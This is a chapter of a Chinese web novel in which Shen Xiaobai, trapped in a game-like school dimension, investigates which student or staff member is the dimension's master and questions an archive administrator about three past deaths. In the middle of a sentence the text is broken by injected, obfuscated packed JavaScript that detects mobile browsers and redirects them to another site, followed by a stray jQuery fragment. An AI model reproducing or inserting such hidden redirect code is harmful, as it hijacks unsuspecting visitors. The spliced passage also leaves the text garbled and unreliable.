在食堂听到沈笑白这句话的时候,纪燃拿包子的手顿了一下。
这次错纬的纬令是拿到招聘合同,而拿合同需要攒够一百满意值,沈笑白现在不要满意值,就意味着完不成纬令。
“你到底想干什么?”他盯着沈笑白,“完不成纬令,你怎么离开错纬?”
“离开错纬,不是还有另一种方式吗。”沈笑白道。
这下纪燃手里的包子直接掉在桌上,骨碌碌滚了两圈。
他当然知道对方说的另一种方式是什么。
离开错纬一共有两种方式,一种是按照要求完成纬令,另一种是……
杀了纬主。
纬主是错纬空间的源头,整个空间因都是因它而生的,只要纬主一死,错纬空间就会瞬间瓦解。到那时候,根本不用管纬令有没有完成,所有人都能活着出去。
但这个办法没人愿意用。
因为纬主太难杀了,十个去杀纬主的人里面,九个都会失败,最终死在纬主手里。剩下那个就算侥幸杀成了,也至少要搭进去半条命。
纪燃脸上的表情彻底沉了下来,他很少露出这种样子,平时再大的事也都是一副玩世不恭的样子,可此刻像变了个人,他沉声道:
“你忘了自己的右手是怎么断的?”
沈笑白抬起自己的右手,翻过来看了眼。
小臂以下是银黑色的义肢,泛着冷冽的金属光泽。
这只右手就是上次杀纬主的时候废掉的,当时的情况也是纬令完不成,沈笑白没别的路可走,只能硬杀纬主。最后纬主虽然杀死了,但她自己也搭进去半条命,出来后命是保住了,右手却没有保住。
但沈笑白并不后悔这件事,她觉得不亏。
“如果能杀得了纬主,”她道,“再废一只手也值了。”
“值什么值?”纪燃一下激动了起来,“上次我们能杀成功,是因为那个纬主是最弱的妖,你能保证这次也是吗?”
“万一这次遇上的是灵,甚至是神呢?”他咬了咬牙,“那根本连想都别想。”
妖域,鬼域,灵域和神域,这四类错纬的纬主能力天差地别。如果纬主是妖或者鬼,搏一搏还能杀的了,但如果碰上神和灵,那根本连动手的资格都没有。
“没你说的那么倒霉。”
沈笑白道,“纬主越强,规则就越复杂。但这个错纬的规则不算难,不可能是灵域或者神域,顶多是妖域或鬼域。妖和鬼都有各自的弱点,只要找到了,就能杀。”
“你说的轻巧。”
纪燃还是觉得这方法不靠谱,“想找弱点,至少得先知道纬主是谁。可这个学校看得见看不见的东西加起来少说成千上万个,光是找纬主这一关就够呛的。”
“那你说怎么办?”沈笑白打断他,“完成纬令的路已经彻底堵死了,我现在没得选。”
她边说边朝雷子那桌抬了抬下巴。
雷子那个联盟本来就有七八个人了,现在又凑过去几个人打算加入,照这个速度,雷子今天就能把剩下的老师全部拉进来,所有人联合起来防着沈笑白抢分。
“就算我有本事从这些人手里抢到分,也不一定能活着出去。”
沈笑白分析道,“他们被我抢了分以后,自己的分就不够用,只能困在这里等死,所以他们在死之前一定会拼死拉上我垫背。”
“对方有十几个人,就算加上你,我们两个也打不过他们。”
纪燃很想说我能打,但话到嘴边又咽了回去。
他知道沈笑白说得对,五六个人他还能应付,七八个人咬咬牙也能扛,可对面是十几个人。
要是在外面,他分分钟就能把这些人解决了,可在错纬里所有科技手段都失效的情况下,他还真的打不过。
沈笑白看着他那副愁眉苦脸的样子,反而笑了一下:“行了,这次情况比上次好多了,上次没经验是硬杀的纬主,这回好歹知道从哪儿下手了。”
其实沈笑白这么做还有个原因,她没有告诉纪燃。
从进到这个错纬开始,她就总觉得方缺在故意推着她去抢分,推着她跟其他老师斗,想看她如何在泥潭里挣扎求生。
可她偏偏最讨厌被人牵着鼻子走,方缺越想看她去抢分,她就偏不去抢,哪怕为此要付出更大的代价。
她觉得自己一把年纪了还这么孩子气,说出来实在丢人,才没有提。
话都说到这个份上了,纪燃知道沈笑白已经打定主意,他深吸一口气道:
“那我也不攒满意值了,我跟你一起杀纬主。反正杀了纬主大家都能出去,满意值也没用了。”
“你没必要跟我去冒险。”沈笑白道,“你们班上的满意值够你用了,足够你完成纬令安全离开。”
“不可能。”纪燃一口拒绝,“我干不出这种丢下同伴自己走的事,要死一起死,要活一起活。”
“不行。”沈笑白也一口拒绝,“我需要你活着。”
她定定地看着对方,认真道:“如果我死了,有个很重要的东西需要你帮我带出去,所以你必须活着。”
她需要纪燃活着,帮她把王勇安全带出去。
并不是因为她跟王勇感情有多深,也不是她有多伟大多高尚,而是王勇答应帮她办的那件事还没办完,这件事只有他能办,这件事是沈笑白就算死了也要完成的事。
所以纪燃必须活着,把王勇安全带出去。
沈笑白对纪燃很少有这么认真严肃的时候,纪燃知道她要自己带出去的东西一定很重要,这种时候,他也知道不能感情用事。
“行。”他答应了下来,“如果你真出了事,我一定帮你把东西安全带出去。”
“但你需要帮忙的时候也一定要喊我,别一个人硬扛。”
沈笑白笑了笑:“放心,免费的劳动力,我绝不会浪费的。”
两人就这样达成了共识。
沈笑白去杀纬主,纪燃则继续完成纬令的要求,攒满意值,拿合同。
攒满意值的方法跟昨天说的一样。
下午学生考试的时候动动手脚,帮着做作弊,总之得先把学生们的成绩提上去。到了晚上家长会,就拿这些成绩去家长那里换满意值。
而且得让家长逼着学生,先把学生手里的满意值打完,彻底清空他们的弹药,免得后面使坏。
纪燃的初始满意值是负五百,昨天一天下来被扣了五十,现在是负五百五。他们班家长和学生手上至少还有九百多分,按这个方式操作,达到正一百绰绰有余,根本不需要去其他班抢分。
确认好方案之后,沈笑白还特意叮嘱纪燃,让他把这个方法也告诉解悠悠:“我后面没功夫管她了,你有空就帮忙照看她一下,尽量让她也能完成纬令。”
纪燃刚想说,不过才认识一天,你怎么就对她这么上心?结果就听到沈笑白补了一句:
“等她完成纬令出去以后,一定盯着她把信用点打了。”
“她还欠我三百六十二万四千五百点的感谢费没给。”
纪燃:“……”
“都什么时候了还惦记这个?有这功夫不如想想怎么找纬主!”
纪燃被沈笑白这副分不清轻重缓急的样子气得不行,又拿对方没辙,只能丢下这句话,一脸恨铁不成钢地往教学楼走去。
“怎么还气上了。”
沈笑白看着对方离去的背影,喃喃自语了一句。
她当然不是那么分不清轻重缓急的人,怎么找纬主,她心里其实已经有了大致的思路。
这个错纬空间里的一切,包括规则,都是因纬主而产生的。所以这些规则本身,就是找到纬主的最佳线索。
沈笑白把目前所有规则归成了两类。
一类是黑板规则。
课堂、考试、家长会这三个场景下的的黑板规则,全都围绕着同一个主题,成绩。这说明纬主对成绩这件事,有着近乎偏执的执念。
这条线索很清晰,可以从成绩入手去查。
另一类是警示牌规则。
宿舍禁止十一点后开灯,食堂禁止外带,教学楼禁止坠楼。
这三条规则之间有什么共性,和纬主又有什么关联,沈笑白暂时看不出来,像是缺了最关键的一块拼图,怎么都对不上。
她只能先把警示牌规则搁在一边,从眼下已经明确的黑板规则入手,先沿着成绩这条线索开始查。
要查成绩,最好的地方就是学校的档案室,里面存放着所有的成绩记录和相关的师生信息。
沈笑白直接上了教学楼六楼,来到档案室门前。
让她有些意外的是,这么重要的地方,门竟然是敞开的,里面也没有人看守。可偏偏门上贴着一张告示,煞有介事地写着:
档案室重地!专人把守!闲人免进!
沈笑白看了一眼那行字。
她很忙,不算是闲人。
于是直接走了进去。
里面的空间很大,一排排的铁皮柜整齐地列在室内,就像图书馆的书架一样,中间留出过道。柜子里塞满了文件夹,按年份和班级排列,从建校那一年的档案一直排到今年。
靠窗的位置摆着办公桌,桌上有一台电脑,屏幕是黑的,看起来处于关机状态。
沈笑白正准备去查看,电脑就自动开机了,和教室里的那台一样,似乎是检测到有老师进来,就会自动开启。这所学校的设备,出人意料地还挺智能的。
她没有浪费时间,立刻在电脑上检索起来。
一通筛查下来,她锁定了八个最有可能是纬主的人,其中三个是教职工,五个是学生。
这些人,要么因为成绩而被推向另一种人生,要么因为变故而导致成绩崩塌,坠入谷底。但无论哪种,成绩对他们来说都不只是一串数字,是长在他们命里的东西。
只有被成绩烙印得这么深的人,才会生出这么深的执念,深到能创造出一个空间出来。
这其中,有两个人沈笑白有印象。
学生14号和学生01号。
她们是早上在食堂被章磊欺负的那两个女生,也是上次家长会前,沈笑白在走廊遇到的那两个女生。
这两个人怎么总是一起出现?
沈笑白调出她们俩的档案,看了看,发现一件有意思的事。
这两个女生,从初中开始就在同一所学校,更巧的是,章磊也一样。而且初中时,三个人甚至还在同一个班级。
既然从小就认识,怎么在食堂碰上的时候,看起来一副不熟的样子?不仅不熟,反而像是有什么过节一样。
太可疑了。
沈笑白重新把这三个人的资料仔仔细细看了一遍。
学生21号,章磊。
成绩常年垫底,经常考个位数甚至零分。但家境优渥,父母都是高学历,收入也高,家庭地址写的是城东的豪宅区。
学生01号,吴欠。
成绩优秀,经常考第一,年年拿奖学金。但家境贫困,父母都没读过书,靠务农为生,她是家里的独女。凭着这份成绩,学校免了她的学费,还额外给了助学金。
学生14号,周旋。
成绩优秀,经常和吴欠轮流考第一,不是她第一,就是吴欠第一。家境一般,父母离异,和妈妈一起住。
沈笑白盯着三份档案,脑子里正想着这三个人之间的古怪联系,一个声音突然从身后响起。
“档案室重地,谁允许你私自进来的?”
门口站着一个穿灰色制服的无脸人,脸上写着,档案室
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528279|203618||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
管理员。
这个声音沈笑白认得,是第一场考试的那个考官,也是给她初始满意值打-1000的人。
管理员也认出了沈笑白,阴阳怪气地先开了口:“在这也能碰上你,真是倒霉。”
沈笑白道:“你给我打了-1000的满意值,该说倒霉的是我吧?”
“那是你自找的。”管理员冷冷道,“要不是你破解了考题还告诉了其他考生,那批人根本不可能通过。”
“现在招进来那么多新老师,我的岗位直接被你们顶了,害得我只能来看档案室。”
沈笑白之前一直以为考官对她们的恶意那么大,巴不得她们全都死在考试里,是因为考官需要拿她们来进食。
但现在看来,新老师一批批地招进来,原本在岗的老师就会被一个个顶掉,转岗去做别的杂活,这才是那些考官一上来就那么大的敌意的真正原因。
归根结底,他们是怕被人抢了饭碗。
“那方缺呢?”沈笑白问,“我们进来了,她怎么没有被顶掉岗位?”
“校长是她亲妈,谁敢顶她的岗位?”
管理员嗤笑一声,“你连满意值都攒不够,还想顶别人的岗?就凭我给你打的那-1000分,你想拿合同都够呛吧?”
“是挺够呛的。”
沈笑白弯了弯眼睛,“所以作为补偿,你需要回答我几个问题。”
“有病吧?”管理员一脸莫名其妙,“我凭什么回答你?”
“就凭档案室重地,专人把守,闲人免进。”
沈笑白指了指门上贴的告示,“你说,我要是去找方主任,举报你擅离职守出去偷懒,她会不会把你调去扫厕所,或者直接把你开了?”
“还是说,直接销毁?”
管理员瞬间沉默了,他怕了。
方缺这个人阴晴不定,谁也猜不透她在想什么,总是因为一些莫名其妙的原因就惩罚人,对方说的这种情况还真有可能发生。偏偏她还是校长的女儿,大家根本拿她没办法。
沈笑白看出对方已经被拿捏住了,不打算浪费这个机会,直接问出了那个她一直没琢磨透的问题。
“警示牌的事,你知道多少?”她说,“全部告诉我。”
管理员沉默了许久,才不情不愿地开了口。
他说这些警示牌以前是没有的,后来出了人命,学校才立起来警告大家别作死。
违反警示牌规则的话,全校的学生和老师都会被集体开除,而开除的后果就是被销毁。所以到现在为止,他还没见过哪个不要命的敢挑战警示牌的规则。
沈笑白听完很快抓住了关键:“教学楼,宿舍,食堂,这三个地方都死过人?”
管理员点头,一个个说了起来。
“教学楼那个,是之前有个学生在窗边看书太入迷,一个没注意翻下去摔死了,学校就在那里放了警示牌,说以后严禁私自坠楼。真是好笑,谁没事会去坠楼啊?”
“食堂那个,是有个厨子贪钱,把买新鲜食材的钱扣下来,去网上买便宜劣质的外卖成品给学生吃,学生们直接吃拉肚子了,还有个学生直接吃死了,那学生的家长一怒之下,就把那厨子捅死了。”
“所以学校就立了个牌子,以后禁止外带食物,省得再吃死人。”
“那宿舍呢?”沈笑白问,“有人因为开灯死了?开灯怎么死人?”
“不是开灯死的。”
管理员说,“是有个女生通宵打游戏,连着熬了好几晚,最后猝死在床上了。学校怕别人也跟着作死,就立了牌子,十一点后必须关灯。”
提到这件事,他忍不住吐槽起来:“我就没见过这么荒唐的死法,一个女生不好好学习,打什么游戏?还通宵打?真是头一回见。”
沈笑白听到这话,忽然弯起了眼睛。
“怎么?”她笑眯眯道,“现在打游戏不靠手,是要靠那根东西才能打吗?没有长那玩意儿就打不了了?”
“还是说,她要是长着那根东西,通宵打游戏的时候就不会猝死了?”
管理员被她噎住了,完全无法反驳。
沈笑白没再揪着这个话题继续下去,她现在已经摸清了警示牌的规则。三个警示牌,分别对应了三条人命。
“这三个人叫什么?”沈笑白又问。
管理员不情不愿地答道:“那两个学生叫程赛男和金英,那个厨子叫葛鸿雁。”
沈笑白正要去电脑上调出她们的档案,却被管理员一句话堵了回来:“别查了,学校容不下这种不光彩的事,早把她们的档案销毁了,知道这些事的人也基本都不在学校了。”
沈笑白思索片刻后,又问:“她们当时都住校吗?”
“都住校,但两个学生的宿舍早拆了,家长知道死过人非闹着拆。”管理员道,“只有葛鸿雁的那间还在,但死过人的屋子谁愿意住,就一直空着。”
“她住哪间?”
“教工宿舍,303。”
沈笑白在脑中把这些信息一条一条整理好。
之前根据黑板规则筛出来的八个人,加上现在根据警示牌规则筛出来的三个人,一共十一个可疑对象。
但光凭这些档案信息和故事,根本推断不出谁是纬主,她需要亲自去接触他们来判断。
现在还是上课时间,学生和老师都在教室,她暂时没办法接触,眼下唯一能去的地方,就是厨子葛鸿雁的宿舍。
沈笑白很快来到教工宿舍303的房门口。
门被一把铁锁从外面锁住了,锁头上积了厚厚一层灰,她皱着眉看了一眼,没伸手去碰。转而在杂物间找了把锤子,一榔头把锁砸开。
锁头应声而断,落在地上发出一声闷响。
她伸手推开了门。